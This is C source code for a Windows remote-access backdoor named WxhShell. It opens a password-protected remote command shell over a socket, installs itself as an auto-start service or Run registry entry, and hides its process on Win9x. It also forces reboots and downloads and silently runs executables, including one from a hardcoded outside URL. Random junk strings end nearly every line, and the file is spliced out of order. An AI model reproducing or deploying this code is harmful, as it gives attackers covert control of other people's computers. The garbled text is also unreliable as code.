    else { Gqs8$[o  
    closesocket(wsh); ."R 2^`  
    ExitThread(0); W46sKD;\^W  
    } d; M&X!Y  
    break; /ZczfM\  
    } *"#>Ov>  
  // 获取shell GB -=DC6  
  case 's': { lY~xoHT;[  
    CmdShell(wsh); ,Zdc  
    closesocket(wsh); s:jwwE2  
    ExitThread(0); HJ2]xe09  
    break; Z#F2<*+Pe  
  } FOZqN K  
  // 退出 ^}WeBU  
  case 'x': { wtY#8 '^$&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lU@ni(69d  
    CloseIt(wsh); B *:6U+I  
    break; ^x q%P2s0  
    } 03,+uf  
  // 离开 Q>.-u6(&  
  case 'q': { Y4i-Pp?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X 6>Pq  
    closesocket(wsh); <_NF  
    WSACleanup(); <'/+E4m  
    exit(1); f[.]JC+,  
    break; UZ<!(g.  
        } _uRgKoiy  
  } W4Eo1 E  
  } 'Ct+0X:D  
k\EMO\je  
  // 提示信息 @A)gsDt9A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [p]Ayo$~  
} 7c+u+Yet  
  } %3q@\:s  
0s4%22  
  return; tUt l>>6Iu  
} u~G,=n  
ZJ!/49c*>  
// shell模块句柄 ^UJO(   
int CmdShell(SOCKET sock) r:u5+A  
{ s|q B;  
STARTUPINFO si; N&=,)d~M  
ZeroMemory(&si,sizeof(si)); 1{DHlyA6g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )9Jt550(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; md<%Z4+  
PROCESS_INFORMATION ProcessInfo; 8zr)oQ:  
char cmdline[]="cmd"; iX4/;2B=,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9m<>G3Jr  
  return 0; )2\6 Fy0S  
} N 4Dyec\  
u%&zY97/  
// 自身启动模式 w;X-i.%`  
int StartFromService(void) WhvO-WF  
{ `/#6k>  
typedef struct E9 |i:  
{ h8nJ$jg  
  DWORD ExitStatus; ?+51 B-  
  DWORD PebBaseAddress; YncY_Hu  
  DWORD AffinityMask; yaeX-'(Fv[  
  DWORD BasePriority; k{9s>l~'  
  ULONG UniqueProcessId; 5HmX-+XpK  
  ULONG InheritedFromUniqueProcessId; Xmtq~}K>  
}   PROCESS_BASIC_INFORMATION; 7XdLZ4ub  
@ij}|k%*  
PROCNTQSIP NtQueryInformationProcess; nE,"3X"   
D7 .R NXo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @v|_APy#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YT#" HYO  
[_${N,1  
  HANDLE             hProcess; r] 2}S=[  
  PROCESS_BASIC_INFORMATION pbi; V" I+E  
QarA.Ne~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RM,r0Kv17Y  
  if(NULL == hInst ) return 0; zX(p\NU  
X1$0'u sS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :eDwkzlHH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H+-9R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]_j{b)t  
j5tA!o  
  if (!NtQueryInformationProcess) return 0; 5&6S["lt  
kIM* K%L}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); voCQ_~*)9  
  if(!hProcess) return 0; DN!:Rm uc  
oc>,5 x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?/NxZ\  
'%kk&&3'  
  CloseHandle(hProcess); RBiDU}j  
GtbI w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); entO"~*EX  
if(hProcess==NULL) return 0; Q;SMwCB0M  
HJM-;C](  
HMODULE hMod; ]*Zg(YA  
char procName[255]; jF{zcYU  
unsigned long cbNeeded; Z&YW9de@  
u|APx8?"o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N }Z"$4  
{B uh5U,  
  CloseHandle(hProcess); )9J&M6LX  
'Aai.PE:  
if(strstr(procName,"services")) return 1; // 以服务启动 Ql!$e&A|l  
*cJ GrLC  
  return 0; // 注册表启动 D.4=4"qMi  
} :*#I1nb$  
=((#kDrN  
// 主模块 ABB4(_3E  
int StartWxhshell(LPSTR lpCmdLine) r `VKb  
{ ,H\EPmNHK  
  SOCKET wsl; or>5a9pj  
BOOL val=TRUE; *tO7A$LDT  
  int port=0; nO2-fW:9]  
  struct sockaddr_in door; V6Z2!Ht  
&.;tdT7  
  if(wscfg.ws_autoins) Install(); 4Rp2  
h@t&n@8O?  
port=atoi(lpCmdLine); u\.7#D>  
K6{{\r  
if(port<=0) port=wscfg.ws_port; o%5^dX&[  
2t*@P"e!  
  WSADATA data; "\U$aaF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o"J}@nF  
\XhzaM   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1\TXb!OtL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -BgzAxa  
  door.sin_family = AF_INET; -(ABQgSO]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Gr}Lp  
  door.sin_port = htons(port); s=#3f3  
CUaI66  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7xz|u\?_2  
closesocket(wsl); ?(n|ykXwc  
return 1; la[xbv   
} [0w @0?[  
`c ^2  
  if(listen(wsl,2) == INVALID_SOCKET) { }L3kpw  
closesocket(wsl); N{ @B@]  
return 1; D<]z.33  
} -P^ 6b(  
  Wxhshell(wsl); nPD5/xW  
  WSACleanup(); rB~x]5TH  
6$lj$8\  
return 0; 4&2aJ_ 2 y  
:"#EQq]ct  
} AbC /  
@or&GcQ*  
// 以NT服务方式启动 Wf +j/RxTi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bO^#RVH  
{ 5VDqx@(  
DWORD   status = 0; .'saUcVg:  
  DWORD   specificError = 0xfffffff; pZ}4'GnZI  
eR4%4gW)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }PTYNidlR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RHZ5f0b4L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ri<E[8\  
  serviceStatus.dwWin32ExitCode     = 0; 1D sgU6"  
  serviceStatus.dwServiceSpecificExitCode = 0; 7loIX Qw  
  serviceStatus.dwCheckPoint       = 0; !'Q/9%g  
  serviceStatus.dwWaitHint       = 0; |<t"O  
pdX%TrM+[:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PqZMuUd  
  if (hServiceStatusHandle==0) return; Es/\/vF7]D  
DJ2EV^D+P  
status = GetLastError(); iP6$;Y{ZA  
  if (status!=NO_ERROR) ?kqo~twJ  
{ ,W;\6"Iwx'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w O;\,zU  
    serviceStatus.dwCheckPoint       = 0; :,X,!0pWRp  
    serviceStatus.dwWaitHint       = 0; KWq7M8mq  
    serviceStatus.dwWin32ExitCode     = status; nlQ<Aa-%  
    serviceStatus.dwServiceSpecificExitCode = specificError; X>(?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N{U``LV  
    return; Xt %;]1n  
  } %6}S1fuA  
\BOZhXfl'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '8R5?9"  
  serviceStatus.dwCheckPoint       = 0; id="\12Bw  
  serviceStatus.dwWaitHint       = 0; n a,j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2>Bx/QF@<  
} K4b# y~@  
Dm?>U1{   
// 处理NT服务事件,比如:启动、停止 rV>/:FG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fgVeB;k|  
{ [#S}L(  
switch(fdwControl) H|T!}M>  
{  I0trHrX9  
case SERVICE_CONTROL_STOP: G%_6" s  
  serviceStatus.dwWin32ExitCode = 0; CZcn X8P'8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Yq-Nk:H|  
  serviceStatus.dwCheckPoint   = 0; ua# sW  
  serviceStatus.dwWaitHint     = 0; :biM}L  
  { }u8o*P|,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^tc2?T  
  } 5}@6euT5$  
  return; tkx1iBW=  
case SERVICE_CONTROL_PAUSE: ;3wj(o0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  P#m/b<  
  break; # Y/ .%ch.  
case SERVICE_CONTROL_CONTINUE: FTZ][  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fmC)]O%q  
  break; ~GZ!;An  
case SERVICE_CONTROL_INTERROGATE: `!rH0]vy  
  break; UE33e(Q<  
}; t2d _XQOK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /^v?Q9=Y  
} #-?pY"N,  
)xYv$6=  
// 标准应用程序主函数 m22M[L(q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 28J ; 9  
{ 4)./d2/E  
)y&}c7xW  
// 获取操作系统版本 &"]Uh   
OsIsNt=GetOsVer(); !4cO]wh5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 69AgPAv<k  
H)tnxD0)  
  // 从命令行安装  Cg[]y1Ne  
  if(strpbrk(lpCmdLine,"iI")) Install(); *vqlY[2Ax  
`oQ)qa_  
  // 下载执行文件 i j&_>   
if(wscfg.ws_downexe) { @|kBc.(]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SA@MJ>Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); 02OL-bv}HS  
} __<u!;f  
4X,fb`  
if(!OsIsNt) { 2gLa4B-  
// 如果时win9x,隐藏进程并且设置为注册表启动 &(a#I]`9M  
HideProc(); +^1E0@b%  
StartWxhshell(lpCmdLine); 6yEYX'_  
} (%*CfR:>  
else v3SH+Ej4  
  if(StartFromService()) # hvLv  
  // 以服务方式启动 D5x }V  
  StartServiceCtrlDispatcher(DispatchTable); 0T-y]&uo  
else mGR}hsQpn  
  // 普通方式启动 }`M53>C,gQ  
  StartWxhshell(lpCmdLine); kNqSBzg  
{?tK]g#  
return 0; 9i4!^DM_  
} wG6@. ;3  
.1R:YNx{/  
_q*4+x  
k{_ Op/k}V  
=========================================== ue8Cpn^M  
dE R#)bGj  
z<2!|  
t}r`~AEa!  
&E|2-)  
H>Wi(L7  
" #Ezq}F8Y  
F ^& Rg  
#include <stdio.h> <X9  T}g  
#include <string.h> {.c(Sw}Eo  
#include <windows.h> *h6Lh]7  
#include <winsock2.h> g}HB|$P7  
#include <winsvc.h> F&?55@b  
#include <urlmon.h> {B^V_TX2  
u%n6!Zx  
#pragma comment (lib, "Ws2_32.lib") 5c50F{  
#pragma comment (lib, "urlmon.lib") xszGao'  
*xm(K +j  
#define MAX_USER   100 // 最大客户端连接数 *=UxX ] 0y  
#define BUF_SOCK   200 // sock buffer Pp-\#WJ  
#define KEY_BUFF   255 // 输入 buffer ie4keVlXc  
9$[I~I#z  
#define REBOOT     0   // 重启 qFEGV+  
#define SHUTDOWN   1   // 关机 ~P&Brn"=Rs  
.KiJq:$H  
#define DEF_PORT   5000 // 监听端口 WmU5YZ(mAq  
WXz'H),R  
#define REG_LEN     16   // 注册表键长度 ;M,u,KH)/  
#define SVC_LEN     80   // NT服务名长度 C? pi8Xg  
+-_71rJc.  
// 从dll定义API -"J6 |Y#8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ="E^9!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o+(>/Ou  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~x<nz/^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s|iph~W!L  
C9l5zb~D  
// wxhshell配置信息 (eX9O4  
struct WSCFG { w`Q"mx*  
  int ws_port;         // 监听端口 +Kc1a;  
  char ws_passstr[REG_LEN]; // 口令 /*g9drwaa  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~AbnksR  
  char ws_regname[REG_LEN]; // 注册表键名  biwV7<  
  char ws_svcname[REG_LEN]; // 服务名 ~F5JN^5Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q\(VQ1c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5f+ziiZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8#%Sq=/+M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Nxk3uF^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4o,%}bo&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >:W7f2%8`  
a[TR_ uR  
}; IT,d(UV_  
 ?39B(T  
// default Wxhshell configuration _?UW,5=O  
struct WSCFG wscfg={DEF_PORT, DG_tmDT4  
    "xuhuanlingzhe", ~ou1{NS  
    1, kOfq6[JC  
    "Wxhshell", ?f1PQ  
    "Wxhshell", *69 yB  
            "WxhShell Service", rBBA`Ut@F  
    "Wrsky Windows CmdShell Service",  y!6+jrI  
    "Please Input Your Password: ", mHTZ:84  
  1, 4%l @   
  "http://www.wrsky.com/wxhshell.exe", emZ^d/A  
  "Wxhshell.exe" En@] xvE  
    }; `x;8,7W;B  
) V}q7\G~  
// 消息定义模块 k+k&}8e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $'$#Xn,hU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _4E . P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W}+f}/&l  
char *msg_ws_ext="\n\rExit."; .<`W2*1  
char *msg_ws_end="\n\rQuit."; x+~IXi>Ig  
char *msg_ws_boot="\n\rReboot..."; |12Cg>;j*n  
char *msg_ws_poff="\n\rShutdown..."; g@WGd(o0)  
char *msg_ws_down="\n\rSave to "; a`}b'X:  
y/' ^r?  
char *msg_ws_err="\n\rErr!"; -9BKa~ DVQ  
char *msg_ws_ok="\n\rOK!"; xw60l&s.\L  
l!2hwRR  
char ExeFile[MAX_PATH]; 8?qEv,W  
int nUser = 0; eF5?4??  
HANDLE handles[MAX_USER]; RusC5\BUX  
int OsIsNt; sA18f2  
tT7< V{i4  
SERVICE_STATUS       serviceStatus; Zf~ [4Eeb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z`gdE0@;d3  
QusEWq)}<  
// 函数声明 StUiL>9T#  
int Install(void); k;V4%O  
int Uninstall(void); @\gTi;u/x  
int DownloadFile(char *sURL, SOCKET wsh); /EY ^ui  
int Boot(int flag); XOl]s?6H$  
void HideProc(void); ; n2|pC^  
int GetOsVer(void); YT;b$>1v  
int Wxhshell(SOCKET wsl); 3#>;h  
void TalkWithClient(void *cs); U^_'e_)  
int CmdShell(SOCKET sock); yQwj [  
int StartFromService(void); c"aiZ(aP  
int StartWxhshell(LPSTR lpCmdLine); j!r 4p,  
Ph&AP*Fq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dZ!Wj7K)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `!MyOI`qS  
Peha{]U  
// 数据结构和表定义 uM0!,~&9|  
SERVICE_TABLE_ENTRY DispatchTable[] = D .3Q0a6  
{ C]aa^_Ldd-  
{wscfg.ws_svcname, NTServiceMain}, yHW=,V.  
{NULL, NULL} I\R5Cb<p  
}; zUn> )#ZC  
eqbxf#H!  
// 自我安装 l ' ]d&  
int Install(void) Wpom{-  
{ 9kPwUAw  
  char svExeFile[MAX_PATH]; oF/5mh__(K  
  HKEY key; 9%\<x  
  strcpy(svExeFile,ExeFile); ]d"4G7mu`l  
W>b(hVBE  
// 如果是win9x系统,修改注册表设为自启动 qB3{65  
if(!OsIsNt) { fFXG;Q8&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =YX/]g|9K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]ABpOrg  
  RegCloseKey(key); ]Jj\**  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8$avPD3jx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <i'4EnO  
  RegCloseKey(key); bAeN>~WvY  
  return 0; SsjO1F  
    } -B2>~#L  
  } cOUsbxYTD  
} u(JC 4w'  
else { 52B ye   
hCO*gtA)M  
// 如果是NT以上系统,安装为系统服务 oS)0,p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zypZ3g{vz  
if (schSCManager!=0) *IzcW6 [9  
{ W|=?-  
  SC_HANDLE schService = CreateService .<v0y"amJ  
  ( /_rAy  
  schSCManager, p}.P^`~j  
  wscfg.ws_svcname, 84P^7[YX>  
  wscfg.ws_svcdisp, aKaqi}IT  
  SERVICE_ALL_ACCESS, !B?/6XRUx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I/9ZUxQCyG  
  SERVICE_AUTO_START, .LafP}%  
  SERVICE_ERROR_NORMAL, aPB %6c=  
  svExeFile, +S M $#  
  NULL, %iIryv;  
  NULL, '6{q;Bxo  
  NULL, T4T_32`XR  
  NULL, ) 0$7{3  
  NULL uc%75TJ@  
  ); )8&Q.? T  
  if (schService!=0) @{.rDz  
  { %Ua*}C   
  CloseServiceHandle(schService); wpY%"x#-+=  
  CloseServiceHandle(schSCManager); [w~teX0!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  <_MQC  
  strcat(svExeFile,wscfg.ws_svcname); =(*Eh=Pw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5<4njo?k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }*$-rieg  
  RegCloseKey(key); | x{:GWq  
  return 0; X=(8t2  
    }  AO;+XP=  
  } Dc oTa-~  
  CloseServiceHandle(schSCManager); 6\O4R  
} n_v c}ame  
} 9{i6g+  
hr@KWE`  
return 1; A3&8@/6,  
} -+|0LXo  
B/E1nBobC  
// 自我卸载 7r"!&P* ,  
int Uninstall(void) yhQo1e>  
{ "rc}mq  
  HKEY key; {_3ZKD(\  
uVDB; 6  
if(!OsIsNt) { ?Pl>sCFm~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zo@>~G3$9  
  RegDeleteValue(key,wscfg.ws_regname); AyNl,Xyc4  
  RegCloseKey(key); %Iv+Y$'3B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xa<siA{  
  RegDeleteValue(key,wscfg.ws_regname); FlVGi3  
  RegCloseKey(key); B_`A[0H  
  return 0; 4OCz:t  
  } LLgN%!&  
} +?MjY[8j  
} BEPDyy  
else { j/9FiuK  
3KB)\nF#%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L)Un9&4L  
if (schSCManager!=0) y+Q!4A  
{ p`{<q -  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Fxv~;o#  
  if (schService!=0) @Z@yI2#e  
  { 5[I> l  
  if(DeleteService(schService)!=0) { ]t0?,q.$7  
  CloseServiceHandle(schService); N Ja]UZx  
  CloseServiceHandle(schSCManager); {+ [rJ_  
  return 0; 3dadeu^{A  
  } E'[pNU*"x-  
  CloseServiceHandle(schService); 28X)s!W'  
  } }}grJh>tGg  
  CloseServiceHandle(schSCManager); f(D?g  
} U <4<8'  
} M/d!&Bk  
9]NsWd^^  
return 1; .j7|;Ag  
} LfOGq%&  
x"AYt:ewuc  
// 从指定url下载文件 v.r$]O  
int DownloadFile(char *sURL, SOCKET wsh) @H&Aj..  
{ s.zH.q,  
  HRESULT hr; F\-qXSA  
char seps[]= "/"; ^N Et{]x  
char *token; ]o,)#/' $  
char *file; aM?7'8/  
char myURL[MAX_PATH]; '-w G  
char myFILE[MAX_PATH]; J5J3%6I  
UfcM2OmbK  
strcpy(myURL,sURL); * +A!12s@  
  token=strtok(myURL,seps); BAoqO Xv  
  while(token!=NULL) ?H*_:?=6  
  { z_JZx]*/  
    file=token; 8qS)j1.!  
  token=strtok(NULL,seps); 1%EY!14G+  
  } ?_<ZCH  
:Oq!.uO  
GetCurrentDirectory(MAX_PATH,myFILE); B TcxBh  
strcat(myFILE, "\\"); ~&B_ Bswf  
strcat(myFILE, file); F;q I^{m2  
  send(wsh,myFILE,strlen(myFILE),0); .^JID~<?#  
send(wsh,"...",3,0); > )#*}JI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pk;bx2CP8  
  if(hr==S_OK) 0" R|lTYq  
return 0; ynP^|Ou  
else rK=[&k  
return 1; rX;(48Y  
X$JKEW;0BP  
} 2vj)3%:7#E  
Q.\+ XR_|  
// 系统电源模块 xu+wi>Y^  
int Boot(int flag) N SHlo*)}  
{ iy$]9Wf6=@  
  HANDLE hToken; ) 3Y E$,  
  TOKEN_PRIVILEGES tkp; P.;B V",  
[&FMVM`  
  if(OsIsNt) { mhlJzGr*q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +hXph  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B>?. Nr  
    tkp.PrivilegeCount = 1; $ P#k|A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o6vm(I%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ypv"u0  
if(flag==REBOOT) { /-BplU*"9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |_O; U=2  
  return 0; i"w$D{N  
} a |z{B b  
else { $: Qi9N   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d54>nycU~N  
  return 0; .P,\69g~A  
} W4>8  
  } 3$HFHUMQsk  
  else { v`Sllv5bV  
if(flag==REBOOT) { ?]3`WJOj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,qvz:a  
  return 0; IK %j+UB  
} H%faRUonz  
else { uv_*E`pN~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ||Lqx#e=  
  return 0; y\x!Be;6Z.  
} $fn Fi|-  
} R )?8A\<E  
BT#'<!7!  
return 1; xTAC&OCk^[  
} y'4=  
JN3Oe5yB2@  
// win9x进程隐藏模块 j/^0q90QO  
void HideProc(void) p( Qm\g<  
{ )}u.b-Nt.  
+(|T\%$DT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nH T2M{R  
  if ( hKernel != NULL ) vkBngsS  
  { bcj7.rh]'h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YJ!6)d?C.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X.T.^}=  
    FreeLibrary(hKernel); YToRG7X#  
  } vZXyc *  
y@_4OkR@  
return; YO-O-NEP  
} 39m#  
bR ;H@Fdg?  
// 获取操作系统版本 PeE'#&w n  
int GetOsVer(void) &p4q# p7,  
{ z),l&7  
  OSVERSIONINFO winfo; ] YQ*mvI]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :_H$*Q=1  
  GetVersionEx(&winfo); Wb*d`hzQ}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pQEHWq"Q  
  return 1; mH}AVje{ `  
  else q"]-CGAa  
  return 0; XM8C{I1  
} L"('gc!W  
gL}K84T$S  
// 客户端句柄模块 LClPAbr  
int Wxhshell(SOCKET wsl) ?}lCS7&  
{ ]qv/+~Qs>  
  SOCKET wsh; AK [9fxrE  
  struct sockaddr_in client; ADHe! [6q  
  DWORD myID; {}lw%d?A  
YTYYb#"Q  
  while(nUser<MAX_USER) ~yO.R)4v  
{ KWN&nP +  
  int nSize=sizeof(client); U15Hq*8Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yY,.GzIjCj  
  if(wsh==INVALID_SOCKET) return 1; YjG0: 9  
l<qxr.X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]p#Zdm1EL  
if(handles[nUser]==0) KN+*_L-  
  closesocket(wsh); TXy*-<#vR  
else eUBk^C]\  
  nUser++; 6=  9  
  } JQbI^ef_;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +F67g00T|  
m0\(a_0V  
  return 0; qe\j$Cjy  
} Wxp^*._q3I  
VMtR4!:q  
// 关闭 socket t/q\Ne\\,  
void CloseIt(SOCKET wsh) }b,a*4pN  
{ >xH3*0 Lp  
closesocket(wsh); !^\|r<2M  
nUser--; 0>.'w\,87B  
ExitThread(0); )EcF[aO  
} $'[( DwLS  
kv5D=0r  
// 客户端请求句柄 $RF"m"  
void TalkWithClient(void *cs) LY^BkH'  
{ , :kCt=4%  
[& hdyLt  
  SOCKET wsh=(SOCKET)cs; ;l?>+m@H  
  char pwd[SVC_LEN]; -G*u2i_*  
  char cmd[KEY_BUFF]; <vbk@d  
char chr[1]; %*r P d>*  
int i,j; =#>P !  
kW/ksz0)  
  while (nUser < MAX_USER) { Mb/R+:C`  
l sUQ7%f  
if(wscfg.ws_passstr) { E2dSOZS:)%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (T`x-wTl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wV(_=LF  
  //ZeroMemory(pwd,KEY_BUFF); U(i2j)|^I3  
      i=0; bg 7b!t1F  
  while(i<SVC_LEN) { &os* @0h4  
'9RHwKu&s  
  // 设置超时 Rhr]ML  
  fd_set FdRead; _39b8s {  
  struct timeval TimeOut; =8<SKY&\X  
  FD_ZERO(&FdRead); _s=[z$EN&  
  FD_SET(wsh,&FdRead); h3JIiwv0!  
  TimeOut.tv_sec=8; EcP"GO5  
  TimeOut.tv_usec=0; ;Hm\?n)a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %=NqxF>>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mWka!lT  
Ak4iG2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sy]1Ba%  
  pwd=chr[0]; )|2g#hH5  
  if(chr[0]==0xd || chr[0]==0xa) { L x(Y=  
  pwd=0; N(F9vZOs  
  break; P:CwC"z>sS  
  } Yz{UP)TC  
  i++; jIuE1ve  
    } hp[8.Z$7  
3pl.<;9r  
  // 如果是非法用户,关闭 socket  BeP0lZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #mtlgK'  
} *jDzh;H!w  
jQ`cfE$sV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~Uga=&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vwl`A3Y  
*y.KD4@{  
while(1) { |%TH|?kB  
F#W'>WBU  
  ZeroMemory(cmd,KEY_BUFF); H?O*  
wn|Sdp  
      // 自动支持客户端 telnet标准   _.\p^ HM  
  j=0; G?YKm1:w   
  while(j<KEY_BUFF) { 5qUyOkI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G$`/86A)  
  cmd[j]=chr[0]; 8Gs{Zfp!D  
  if(chr[0]==0xa || chr[0]==0xd) { v')T^b F@  
  cmd[j]=0; 7FfzMs[ \e  
  break; z) Bc91A  
  } p6I@o7f  
  j++; T2^ @x9  
    } `"/@LUso  
6Pd;I,k  
  // 下载文件 Pm V:J9  
  if(strstr(cmd,"http://")) { {6v+ Dz>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !a4pKN`qLY  
  if(DownloadFile(cmd,wsh)) d94Lc-kq^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 72luTR Q  
  else }&EPH}V2n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M(SH3~  
  } \%rX~UhZ=  
  else { E+F!u5u  
1 ^Ci$ra  
